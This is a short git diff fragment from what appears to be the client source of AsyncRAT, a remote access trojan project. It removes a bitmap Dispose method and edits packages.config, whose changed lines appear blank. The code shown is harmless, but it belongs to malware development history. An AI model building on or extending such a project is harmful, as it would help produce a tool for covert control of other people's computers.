- } - public void Dispose(bool disposeBitmap = false) - { - if (Locked) - Unlock(); - - if (disposeBitmap) - bitMap.Dispose(); - - bitMap = null; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/packages.config b/AsyncRAT-C#/Client/packages.config index c2d5114..c857724 100644 --- a/AsyncRAT-C#/Client/packages.config +++ b/AsyncRAT-C#/Client/packages.config @@ -1,5 +1,5 @@  - - + + \ No newline at end of file